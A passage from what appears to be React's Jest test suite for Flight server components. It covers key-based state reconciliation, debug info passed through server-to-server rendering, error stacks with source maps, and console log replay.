expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>Aa</div>\n        <div>Bb</div>\n        <div>Cc</div>\n      </>,\n    );\n\n    const transport2 = ReactNoopFlightServer.render(\n      <Items items={['B', 'A', 'D', 'C']} />,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport2));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>Bb</div>\n        <div>Aa</div>\n        <div>Dd</div>\n        <div>Cc</div>\n      </>,\n    );\n  });\n\n  it('does not inherit keys of children inside a server component', async () => {\n    function StatefulClient({name, initial}) {\n      const [state] = React.useState(initial);\n      return state;\n    }\n    const Stateful = clientReference(StatefulClient);\n\n    function Item({item, initial}) {\n      // This key is the key of the single item of this component.\n      // It's NOT part of the key of the list the parent component is\n      // in.\n      return (\n        <div key={item}>\n          {item}\n          <Stateful name={item} initial={initial} />\n        </div>\n      );\n    }\n\n    function IndirectItem({item, initial}) {\n      // Even though we render two items with the same child key this key\n      // should not conflict, because the key belongs to the parent slot.\n      return <Item key=\"parent\" item={item} initial={initial} />;\n    }\n\n    // These items don't have their own keys because they're in a fixed set\n    const transport = ReactNoopFlightServer.render(\n      <>\n        <Item item=\"A\" initial={1} />\n        <Item item=\"B\" initial={2} />\n        <IndirectItem item=\"C\" initial={5} />\n        <IndirectItem item=\"C\" initial={6} />\n      </>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>A1</div>\n        <div>B2</div>\n        <div>C5</div>\n        <div>C6</div>\n      </>,\n    );\n\n    // This means that they shouldn't swap state when the properties update\n    const transport2 = ReactNoopFlightServer.render(\n      <>\n        <Item item=\"B\" initial={3} />\n        <Item item=\"A\" initial={4} />\n        <IndirectItem item=\"C\" initial={7} />\n        <IndirectItem item=\"C\" initial={8} />\n      </>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport2));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>B3</div>\n        <div>A4</div>\n        <div>C5</div>\n        <div>C6</div>\n      </>,\n    );\n  });\n\n  it('shares state between single return and array return in a parent', async () => {\n    function StatefulClient({name, initial}) {\n      const [state] = React.useState(initial);\n      return state;\n    }\n    const Stateful = clientReference(StatefulClient);\n\n    function Item({item, initial}) {\n      // This key is the key of the single item of this component.\n      // It's NOT part of the key of the list the parent component is\n      // in.\n      return (\n        <span key={item}>\n          {item}\n          <Stateful name={item} initial={initial} />\n        </span>\n      );\n    }\n\n    function Condition({condition}) {\n      if (condition) {\n        return <Item item=\"A\" initial={1} />;\n      }\n      // The first item in the fragment is the same as the single item.\n      return (\n        <>\n          <Item item=\"A\" initial={2} />\n          <Item item=\"B\" initial={3} />\n        </>\n      );\n    }\n\n    function ConditionPlain({condition}) {\n      if (condition) {\n        return (\n          <span>\n            C\n            <Stateful name=\"C\" initial={1} />\n          </span>\n        );\n      }\n      // The first item in the fragment is the same as the single item.\n      return (\n        <>\n          <span>\n            C\n            <Stateful name=\"C\" initial={2} />\n          </span>\n          <span>\n            D\n            <Stateful name=\"D\" initial={3} />\n          </span>\n        </>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      // This two item wrapper ensures we're already one step inside an array.\n      // A single item is not the same as a set when it's nested one level.\n      <>\n        <div>\n          <Condition condition={true} />\n        </div>\n        <div>\n          <ConditionPlain condition={true} />\n        </div>\n        <div key=\"keyed\">\n          <ConditionPlain condition={true} />\n        </div>\n      </>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>\n          <span>A1</span>\n        </div>\n        <div>\n          <span>C1</span>\n        </div>\n        <div>\n          <span>C1</span>\n        </div>\n      </>,\n    );\n\n    const transport2 = ReactNoopFlightServer.render(\n      <>\n        <div>\n          <Condition condition={false} />\n        </div>\n        <div>\n          <ConditionPlain condition={false} />\n        </div>\n        {null}\n        <div key=\"keyed\">\n          <ConditionPlain condition={false} />\n        </div>\n      </>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport2));\n    });\n\n    // We're intentionally breaking from the semantics here for efficiency of the protocol.\n    // In the case a Server Component inside a fragment is itself implicitly keyed but its\n    // return value has a key, then we need a wrapper fragment. This means they can't\n    // reconcile. To solve this we would need to add a wrapper fragment to every Server\n    // Component just in case it returns a fragment later which is a lot.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>\n          <span>A2{/* This should be A1 ideally */}</span>\n          <span>B3</span>\n        </div>\n        <div>\n          <span>C1</span>\n          <span>D3</span>\n        </div>\n        <div>\n          <span>C1</span>\n          <span>D3</span>\n        </div>\n      </>,\n    );\n  });\n\n  it('shares state between single return and array return in a set', async () => {\n    function StatefulClient({name, initial}) {\n      const [state] = React.useState(initial);\n      return state;\n    }\n    const Stateful = clientReference(StatefulClient);\n\n    function Item({item, initial}) {\n      // This key is the key of the single item of this component.\n      // It's NOT part of the key of the list the parent component is\n      // in.\n      return (\n        <span key={item}>\n          {item}\n          <Stateful name={item} initial={initial} />\n        </span>\n      );\n    }\n\n    function Condition({condition}) {\n      if (condition) {\n        return <Item item=\"A\" initial={1} />;\n      }\n      // The first item in the fragment is the same as the single item.\n      return (\n        <>\n          <Item item=\"A\" initial={2} />\n          <Item item=\"B\" initial={3} />\n        </>\n      );\n    }\n\n    function ConditionPlain({condition}) {\n      if (condition) {\n        return (\n          <span>\n            C\n            <Stateful name=\"C\" initial={1} />\n          </span>\n        );\n      }\n      // The first item in the fragment is the same as the single item.\n      return (\n        <>\n          <span>\n            C\n            <Stateful name=\"C\" initial={2} />\n          </span>\n          <span>\n            D\n            <Stateful name=\"D\" initial={3} />\n          </span>\n        </>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      // This two item wrapper ensures we're already one step inside an array.\n      // A single item is not the same as a set when it's nested one level.\n      <div>\n        <Condition condition={true} />\n        <ConditionPlain condition={true} />\n        <ConditionPlain key=\"keyed\" condition={true} />\n      </div>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>A1</span>\n        <span>C1</span>\n        <span>C1</span>\n      </div>,\n    );\n\n    const transport2 = ReactNoopFlightServer.render(\n      <div>\n        <Condition condition={false} />\n        <ConditionPlain condition={false} />\n        {null}\n        <ConditionPlain key=\"keyed\" condition={false} />\n      </div>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport2));\n    });\n\n    // We're intentionally breaking from the semantics here for efficiency of the protocol.\n    // The issue with this test scenario is that when the Server Component is in a set,\n    // the next slot can't be conditionally a fragment or single. That would require wrapping\n    // in an additional fragment for every single child just in case it every expands to a\n    // fragment.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>A2{/* Should be A1 */}</span>\n        <span>B3</span>\n        <span>C2{/* Should be C1 */}</span>\n        <span>D3</span>\n        <span>C2{/* Should be C1 */}</span>\n        <span>D3</span>\n      </div>,\n    );\n  });\n\n  it('preserves state with keys split across async work', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n\n    function StatefulClient({name}) {\n      const [state] = React.useState(name.toLowerCase());\n      return state;\n    }\n    const Stateful = clientReference(StatefulClient);\n\n    function Item({name}) {\n      if (name === 'A') {\n        return promise.then(() => (\n          <div>\n            {name}\n            <Stateful name={name} />\n          </div>\n        ));\n      }\n      return (\n        <div>\n          {name}\n          <Stateful name={name} />\n        </div>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render([\n      <Item key=\"a\" name=\"A\" />,\n      null,\n    ]);\n\n    // Create a gap in the stream\n    await resolve();\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<div>Aa</div>);\n\n    const transport2 = ReactNoopFlightServer.render([\n      null,\n      <Item key=\"a\" name=\"B\" />,\n    ]);\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport2));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<div>Ba</div>);\n  });\n\n  it('shares state when moving keyed Server Components that render fragments', async () => {\n    function StatefulClient({name, initial}) {\n      const [state] = React.useState(initial);\n      return <span>{state}</span>;\n    }\n    const Stateful = clientReference(StatefulClient);\n\n    function ServerComponent({item, initial}) {\n      return [\n        <Stateful key=\"a\" initial={'a' + initial} />,\n        <Stateful key=\"b\" initial={'b' + initial} />,\n      ];\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      <div>\n        <ServerComponent key=\"A\" initial={1} />\n        <ServerComponent key=\"B\" initial={2} />\n      </div>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>a1</span>\n        <span>b1</span>\n        <span>a2</span>\n        <span>b2</span>\n      </div>,\n    );\n\n    // We swap the Server Components and the state of each child inside each fragment should move.\n    // Really the Fragment itself moves.\n    const transport2 = ReactNoopFlightServer.render(\n      <div>\n        <ServerComponent key=\"B\" initial={4} />\n        <ServerComponent key=\"A\" initial={3} />\n      </div>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport2));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>a2</span>\n        <span>b2</span>\n        <span>a1</span>\n        <span>b1</span>\n      </div>,\n    );\n  });\n\n  // @gate enableAsyncIterableChildren\n  it('shares state when moving keyed Server Components that render async iterables', async () => {\n    function StatefulClient({name, initial}) {\n      const [state] = React.useState(initial);\n      return <span>{state}</span>;\n    }\n    const Stateful = clientReference(StatefulClient);\n\n    async function* ServerComponent({item, initial}) {\n      yield <Stateful key=\"a\" initial={'a' + initial} />;\n      yield <Stateful key=\"b\" initial={'b' + initial} />;\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      <div>\n        <ServerComponent key=\"A\" initial={1} />\n        <ServerComponent key=\"B\" initial={2} />\n      </div>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>a1</span>\n        <span>b1</span>\n        <span>a2</span>\n        <span>b2</span>\n      </div>,\n    );\n\n    // We swap the Server Components and the state of each child inside each fragment should move.\n    // Really the Fragment itself moves.\n    const transport2 = ReactNoopFlightServer.render(\n      <div>\n        <ServerComponent key=\"B\" initial={4} />\n        <ServerComponent key=\"A\" initial={3} />\n      </div>,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport2));\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>a2</span>\n        <span>b2</span>\n        <span>a1</span>\n        <span>b1</span>\n      </div>,\n    );\n  });\n\n  // @gate !__DEV__ || enableComponentPerformanceTrack\n  it('preserves debug info for server-to-server pass through', async () => {\n    function ThirdPartyLazyComponent() {\n      return <span>!</span>;\n    }\n\n    const lazy = React.lazy(async function myLazy() {\n      return {\n        default: <ThirdPartyLazyComponent />,\n      };\n    });\n\n    function ThirdPartyComponent() {\n      return <span>stranger</span>;\n    }\n\n    function ThirdPartyFragmentComponent() {\n      return [<span key=\"1\">Who</span>, ' ', <span key=\"2\">dis?</span>];\n    }\n\n    function ServerComponent({transport}) {\n      // This is a Server Component that receives other Server Components from a third party.\n      const children = ReactNoopFlightClient.read(transport);\n      return <div>Hello, {children}</div>;\n    }\n\n    const promiseComponent = Promise.resolve(<ThirdPartyComponent />);\n\n    const thirdPartyTransport = ReactNoopFlightServer.render(\n      [promiseComponent, lazy, <ThirdPartyFragmentComponent key=\"3\" />],\n      {\n        environmentName: 'third-party',\n      },\n    );\n\n    // Wait for the lazy component to initialize\n    await 0;\n\n    const transport = ReactNoopFlightServer.render(\n      <ServerComponent transport={thirdPartyTransport} />,\n    );\n\n    await act(async () => {\n      const result = await ReactNoopFlightClient.read(transport);\n      expect(getDebugInfo(result)).toEqual(\n        __DEV__\n          ? [\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 22 : 20},\n              {\n                name: 'ServerComponent',\n                env: 'Server',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {\n                  transport: expect.arrayContaining([]),\n                },\n              },\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 53 : 21},\n            ]\n          : undefined,\n      );\n\n      const thirdPartyChildren = await result.props.children[1];\n      // We expect the debug info to be transferred from the inner stream to the outer.\n      expect(getDebugInfo(await thirdPartyChildren[0])).toEqual(\n        __DEV__\n          ? [\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22}, // Clamped to the start\n              {\n                name: 'ThirdPartyComponent',\n                env: 'third-party',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {},\n              },\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22},\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 55 : 23}, // This last one is when the promise resolved into the first party.\n            ]\n          : undefined,\n      );\n      expect(getDebugInfo(thirdPartyChildren[1])).toEqual(\n        __DEV__\n          ? [\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22}, // Clamped to the start\n              {\n                name: 'ThirdPartyLazyComponent',\n                env: 'third-party',\n                key: null,\n                stack: '    in myLazy (at **)\\n    in lazyInitializer (at **)',\n                props: {},\n              },\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22},\n            ]\n          : undefined,\n      );\n      const fragment = thirdPartyChildren[2];\n      expect(getDebugInfo(fragment)).toEqual(\n        __DEV__\n          ? [\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22},\n              {\n                name: 'ThirdPartyFragmentComponent',\n                env: 'third-party',\n                key: '3',\n                stack: '    in Object.<anonymous> (at **)',\n                props: {},\n              },\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22},\n            ]\n          : undefined,\n      );\n      expect(getDebugInfo(fragment.props.children[0])).toEqual(\n        __DEV__ ? null : undefined,\n      );\n      ReactNoop.render(result);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        Hello, <span>stranger</span>\n        <span>!</span>\n        <span>Who</span> <span>dis?</span>\n      </div>,\n    );\n  });\n\n  it('preserves debug info for keyed Fragment', async () => {\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Fragment,\n        {key: 'app'},\n        ReactServer.createElement('h1', null, 'App'),\n        ReactServer.createElement('div', null, 'Child'),\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      ReactServer.createElement(\n        ReactServer.Fragment,\n        null,\n        ReactServer.createElement('link', {key: 'styles'}),\n        ReactServer.createElement(App, null),\n      ),\n    );\n\n    await act(async () => {\n      const root = await ReactNoopFlightClient.read(transport);\n\n      const fragment = root[1];\n      expect(getDebugInfo(fragment)).toEqual(\n        __DEV__\n          ? [\n              {time: 12},\n              {\n                name: 'App',\n                env: 'Server',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {},\n              },\n              {time: 13},\n            ]\n          : undefined,\n      );\n      // Making sure debug info doesn't get added multiple times on Fragment children\n      expect(getDebugInfo(fragment[0])).toEqual(__DEV__ ? null : undefined);\n      const fragmentChild = fragment[0].props.children[0];\n      expect(getDebugInfo(fragmentChild)).toEqual(__DEV__ ? null : undefined);\n\n      ReactNoop.render(root);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <link />\n        <h1>App</h1>\n        <div>Child</div>\n      </>,\n    );\n  });\n\n  // @gate enableAsyncIterableChildren && enableComponentPerformanceTrack\n  it('preserves debug info for server-to-server pass through of async iterables', async () => {\n    let resolve;\n    const iteratorPromise = new Promise(r => (resolve = r));\n\n    async function* ThirdPartyAsyncIterableComponent({item, initial}) {\n      yield <span key=\"1\">Who</span>;\n      yield <span key=\"2\">dis?</span>;\n      resolve();\n    }\n\n    function Keyed({children}) {\n      // Keying this should generate a fragment.\n      return children;\n    }\n\n    function ServerComponent({transport}) {\n      // This is a Server Component that receives other Server Components from a third party.\n      const children = ReactServer.use(\n        ReactNoopFlightClient.read(transport),\n      ).root;\n      return (\n        <div>\n          <Keyed key=\"keyed\">{children}</Keyed>\n        </div>\n      );\n    }\n\n    const thirdPartyTransport = ReactNoopFlightServer.render(\n      {root: <ThirdPartyAsyncIterableComponent />},\n      {\n        environmentName: 'third-party',\n      },\n    );\n\n    // Wait for the iterator to finish\n    await iteratorPromise;\n\n    await 0; // One more tick for the return value / closing.\n\n    const transport = ReactNoopFlightServer.render(\n      <ServerComponent transport={thirdPartyTransport} />,\n    );\n\n    await act(async () => {\n      const result = await ReactNoopFlightClient.read(transport);\n      expect(getDebugInfo(result)).toEqual(\n        __DEV__\n          ? [\n              {time: 16},\n              {\n                name: 'ServerComponent',\n                env: 'Server',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {\n                  transport: expect.arrayContaining([]),\n                },\n              },\n              {time: 31},\n            ]\n          : undefined,\n      );\n      const thirdPartyFragment = await result.props.children;\n      expect(getDebugInfo(thirdPartyFragment)).toEqual(\n        __DEV__\n          ? [\n              {time: 32},\n              {\n                name: 'Keyed',\n                env: 'Server',\n                key: 'keyed',\n                stack: '    in ServerComponent (at **)',\n                props: {\n                  children: {},\n                },\n              },\n              {time: 33},\n            ]\n          : undefined,\n      );\n      // We expect the debug info to be transferred from the inner stream to the outer.\n      expect(getDebugInfo(thirdPartyFragment.props.children)).toEqual(\n        __DEV__\n          ? [\n              {time: 33}, // Clamp to the start\n              {\n                name: 'ThirdPartyAsyncIterableComponent',\n                env: 'third-party',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {},\n              },\n              {time: 33},\n            ]\n          : undefined,\n      );\n\n      ReactNoop.render(result);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>Who</span>\n        <span>dis?</span>\n      </div>,\n    );\n  });\n\n  // @gate !__DEV__ || enableComponentPerformanceTrack\n  it('preserves debug info for server-to-server through use()', async () => {\n    function ThirdPartyComponent() {\n      return 'hi';\n    }\n\n    function ServerComponent({transport}) {\n      // This is a Server Component that receives other Server Components from a third party.\n      const text = ReactServer.use(ReactNoopFlightClient.read(transport));\n      return <div>{text.toUpperCase()}</div>;\n    }\n\n    const thirdPartyTransport = ReactNoopFlightServer.render(\n      <ThirdPartyComponent />,\n      {\n        environmentName: 'third-party',\n      },\n    );\n\n    const transport = ReactNoopFlightServer.render(\n      <ServerComponent transport={thirdPartyTransport} />,\n    );\n\n    await act(async () => {\n      const result = await ReactNoopFlightClient.read(transport);\n      expect(getDebugInfo(result)).toEqual(\n        __DEV__\n          ? [\n              {time: 16},\n              {\n                name: 'ServerComponent',\n                env: 'Server',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {\n                  transport: expect.arrayContaining([]),\n                },\n              },\n              {time: 16},\n              {\n                name: 'ThirdPartyComponent',\n                env: 'third-party',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {},\n              },\n              {time: 16},\n              {time: gate(flags => flags.enableAsyncDebugInfo) ? 24 : 17},\n            ]\n          : undefined,\n      );\n      ReactNoop.render(result);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<div>HI</div>);\n  });\n\n  it('preserves error stacks passed through server-to-server with source maps', async () => {\n    async function ServerComponent({transport}) {\n      // This is a Server Component that receives other Server Components from a third party.\n      const thirdParty = ReactServer.use(\n        ReactNoopFlightClient.read(transport, {\n          findSourceMapURL(url) {\n            // By giving a source map url we're saying that we can't use the original\n            // file as the sourceURL, which gives stack traces a about://React/ prefix.\n            return 'source-map://' + url;\n          },\n        }),\n      );\n      // This will throw a third-party error inside the first-party server component.\n      await thirdParty.model;\n      return 'Should never render';\n    }\n\n    async function bar() {\n      throw new Error('third-party-error');\n    }\n\n    async function foo() {\n      await bar();\n    }\n\n    const rejectedPromise = foo();\n\n    const thirdPartyTransport = ReactNoopFlightServer.render(\n      {model: rejectedPromise},\n      {\n        environmentName: 'third-party',\n        onError(x) {\n          if (__DEV__) {\n            return 'a dev digest';\n          }\n          return `digest(\"${x.message}\")`;\n        },\n      },\n    );\n\n    let originalError;\n    try {\n      await rejectedPromise;\n    } catch (x) {\n      originalError = x;\n    }\n    expect(originalError.message).toBe('third-party-error');\n\n    const transport = ReactNoopFlightServer.render(\n      <ServerComponent transport={thirdPartyTransport} />,\n      {\n        onError(x) {\n          if (__DEV__) {\n            return 'a dev digest';\n          }\n          return x.digest; // passthrough\n        },\n      },\n    );\n\n    await 0;\n    await 0;\n    await 0;\n\n    const expectedErrorStack = originalError.stack\n      // Test only the first rows since there's a lot of noise after that is eliminated.\n      .split('\\n')\n      .slice(0, 4)\n      .join('\\n')\n      .replaceAll(' (/', ' (file:///'); // The eval will end up normalizing these\n\n    let sawReactPrefix = false;\n    const environments = [];\n    await act(async () => {\n      ReactNoop.render(\n        <ErrorBoundary\n          expectedMessage=\"third-party-error\"\n          expectedEnviromentName=\"third-party\"\n          expectedErrorStack={expectedErrorStack}>\n          {ReactNoopFlightClient.read(transport, {\n            findSourceMapURL(url, environmentName) {\n              if (url.startsWith('about://React/')) {\n                // We don't expect to see any React prefixed URLs here.\n                sawReactPrefix = true;\n              }\n              environments.push(environmentName);\n              // My not giving a source map, we should leave it intact.\n              return null;\n            },\n          })}\n        </ErrorBoundary>,\n      );\n    });\n\n    expect(sawReactPrefix).toBe(false);\n    if (__DEV__) {\n      expect(environments.slice(0, 4)).toEqual([\n        'Server',\n        'third-party',\n        'third-party',\n        'third-party',\n      ]);\n    } else {\n      expect(environments).toEqual([]);\n    }\n  });\n\n  // @gate !__DEV__ || enableComponentPerformanceTrack\n  it('can change the environment name inside a component', async () => {\n    let env = 'A';\n    function Component(props) {\n      env = 'B';\n      return <div>hi</div>;\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      {\n        greeting: <Component />,\n      },\n      {\n        environmentName() {\n          return env;\n        },\n      },\n    );\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      const greeting = rootModel.greeting;\n      expect(getDebugInfo(greeting)).toEqual(\n        __DEV__\n          ? [\n              {time: 12},\n              {\n                name: 'Component',\n                env: 'A',\n                key: null,\n                stack: '    in Object.<anonymous> (at **)',\n                props: {},\n              },\n              {\n                env: 'B',\n              },\n              {time: 13},\n            ]\n          : undefined,\n      );\n      ReactNoop.render(greeting);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<div>hi</div>);\n  });\n\n  // @gate __DEV__\n  it('replays logs, but not onError logs', async () => {\n    function foo() {\n      return 'hello';\n    }\n\n    class MyClass {\n      constructor() {\n        this.x = 1;\n      }\n      method() {}\n      get y() {\n        return this.x + 1;\n      }\n      get z() {\n        return this.x + 5;\n      }\n    }\n    Object.defineProperty(MyClass.prototype, 'y', {enumerable: true});\n\n    Object.defineProperty(MyClass, 'name', {value: 'MyClassName'});\n\n    function ServerComponent() {\n      console.log('hi', {\n        prop: 123,\n        fn: foo,\n        map: new Map([['foo', foo]]),\n        promise: Promise.resolve('yo'),\n        infinitePromise: new Promise(() => {}),\n        Class: MyClass,\n        instance: new MyClass(),\n      });\n      throw new Error('err');\n    }\n\n    function App() {\n      return ReactServer.createElement(ServerComponent);\n    }\n\n    let ownerStacks = [];\n\n    // These tests are specifically testing console.log.\n    // Assign to `mockConsoleLog` so we can still inspect it when `console.log`\n    // is overridden by the test modules. The original function will be restored\n    // after this test finishes by `jest.restoreAllMocks()`.\n    const mockConsoleLog = spyOnDevAndProd(console, 'log').mockImplementation(\n      () => {\n        // Uses server React.\n        ownerStacks.push(normalizeCodeLocInfo(ReactServer.captureOwnerStack()));\n      },\n    );\n\n    // Reset the modules so that we get a new overridden console on top of the\n    // one installed by expect. This ensures that we still emit console.error\n    // calls.\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactServer = require('react');\n    ReactNoopFlightServer = require('react-noop-renderer/flight-server');\n    const transport = ReactNoopFlightServer.render({\n      root: ReactServer.createElement(App),\n    });\n    assertConsoleErrorDev(['Error: err' + '\\n    in <stack>']);\n\n    expect(mockConsoleLog).toHaveBeenCalledTimes(1);\n    expect(mockConsoleLog.mock.calls[0][0]).toBe('hi');\n    expect(mockConsoleLog.mock.calls[0][1].prop).toBe(123);\n    expect(ownerStacks).toEqual(['\\n    in App (at **)']);\n    mockConsoleLog.mockClear();\n    mockConsoleLog.mockImplementation(() => {\n      // Switching to client React.\n      ownerStacks.push(normalizeCodeLocInfo(React.captureOwnerStack()));\n    });\n    ownerStacks = [];\n\n    // Let the Promises resolve.\n    await 0;\n    await 0;\n    await 0;\n\n    // The error should not actually get logged because we're not awaiting the root\n    // so it's not thrown but the server log also shouldn't be replayed.\n    await ReactNoopFlightClient.read(transport, {close: true});\n\n    expect(mockConsoleLog).toHaveBeenCalledTimes(1);\n    expect(mockConsoleLog.mock.calls[0][0]).toBe('hi');\n    expect(mockConsoleLog.mock.calls[0][1].prop).toBe(123);\n    const loggedFn = mockConsoleLog.mock.calls[0][1].fn;\n    expect(typeof loggedFn).toBe('function');\n    expect(loggedFn).not.toBe(foo);\n    expect(loggedFn.toString()).toBe(foo.toString());\n\n    const loggedMap = mockConsoleLog.mock.calls[0][1].map;\n    expect(loggedMap instanceof Map).toBe(true);\n    const loggedFn2 = loggedMap.get('foo');\n    expect(typeof loggedFn2).toBe('function');\n    expect(loggedFn2).not.toBe(foo);\n    expect(loggedFn2.toString()).toBe(foo.toString());\n    expect(loggedFn2).toBe(loggedFn);\n\n    const promise = mockConsoleLog.mock.calls[0][1].promise;\n    expect(promise).toBeInstanceOf(Promise);\n    expect(await promise).toBe('yo');\n\n    const infinitePromise = mockConsoleLog.mock.calls[0][1].infinitePromise;\n    expect(infinitePromise).toBeInstanceOf(Promise);\n    let resolved = false;\n    infinitePromise.then(\n      () => (resolved = true),\n      x => {\n        console.error(x);\n        resolved = true;\n      },\n    );\n    await 0;\n    await 0;\n    await 0;\n    // This should not reject upon aborting the stream.\n    expect(resolved).toBe(false);\n\n    const Class = mockConsoleLog.mock.calls[0][1].Class;\n    const instance = mockConsoleLog.mock.calls[0][1].instance;\n    expect(typeof Class).toBe('function');\n    expect(Class.prototype.constructor).toBe(Class);\n    expect(Class.name).toBe('MyClassName');\n    expect(instance instanceof Class).toBe(true);\n    expect(Object.getPrototypeOf(instance)).toBe(Class.prototype);\n    expect(instance.x).toBe(1);\n    expect(instance.hasOwnProperty('y')).toBe(true);\n    expect(instance.y).toBe(2); // Enumerable getter was reified\n    expect(instance.hasOwnProperty('z')).toBe(false);\n    expect(instance.z).toBe(6); // Not enumerable getter was transferred as part of the toString() of the class\n    expect(typeof instance.method).toBe('function'); // Methods are included only if they're part of the toString()\n\n    expect(ownerStacks).toEqual(['\\n    in App (at **)']);\n  });\n\n  // @gate __DEV__\n  it('replays logs with cyclic objects', async () => {\n    const cyclic = {cycle: null};\n    cyclic.cycle = cyclic;\n\n    function ServerComponent() {\n      console.log('hi', {cyclic});\n      return null;\n    }\n\n    function App() {\n      return ReactServer.createElement(ServerComponent);\n    }\n\n    // These tests are specifically testing console.log.\n    // Assign to `mockConsoleLog` so we can still inspect it when `console.log`\n    // is overridden by the test modules. The original function will be restored\n    // after this test finishes by `jest.restoreAllMocks()`.\n    const mockConsoleLog = spyOnDevAndProd(console, 'log').mockImplementation(\n      () => {},\n    );\n\n    // Reset the modules so that we get a new overridden console on top of the\n    // one installed by expect. This ensures that we still emit console.error\n    // calls.\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactServer = require('react');\n    ReactNoopFlightServer = require('react-noop-renderer/flight-server');\n    const transport = ReactNoopFlightServer.render({\n      root: ReactServer.createElement(App),\n    });\n\n    expect(mockConsoleLog).toHaveBeenCalledTimes(1);\n    expect(mockConsoleLog.mock.calls[0][0]).toBe('hi');\n    expect(mockConsoleLog.mock.calls[0][1].cyclic).toBe(cyclic);\n    mockConsoleLog.mockClear();\n    mockConsoleLog.mockImplementation(() => {});\n\n    // The error should not actually get logged because we're not awaiting the root\n    // so it's not thrown but the server log also shouldn't be replayed.\n    await ReactNoopFlightClient.read(transport);\n\n    expect(mockConsoleLog).toHaveBeenCalledTimes(1);\n    expect(mockConsoleLog.mock.calls[0][0]).toBe('hi');\n    const cyclic2 = mockConsoleLog.mock.calls[0][1].cyclic;\n    expect(cyclic2).not.toBe(cyclic); // Was serialized and therefore cloned\n    expect(cyclic2.cycle).toBe(cyclic2);\n  });\n\n  // @gate !__DEV__ || enableComponentPerformanceTrack\n  it('uses the server component debug info as the element owner in DEV', async () => {\n    function Container({children}) {\n      return children;\n    }\n\n    function Greeting({firstName}) {\n      // We can't use JSX here because it'll use the Client React.\n      return ReactServer.createElement(\n        Container,\n        null,\n        ReactServer.createElement('span', null, 'Hello, ', firstName),\n      );\n    }\n\n    const model = {\n      greeting: ReactServer.createElement(Greeting, {firstName: 'Seb'}),\n    };\n\n    const transport = ReactNoopFlightServer.render(model);\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      const greeting = rootModel.greeting;\n      // We've rendered down to the span.\n      expect(greeting.type).toBe('span');\n      if (__DEV__) {\n        const greetInfo = {\n          name: 'Greeting',\n          env: 'Server',\n          key: null,\n          stack: '    in Object.<anonymous> (at **)',\n          props: {\n            firstName: 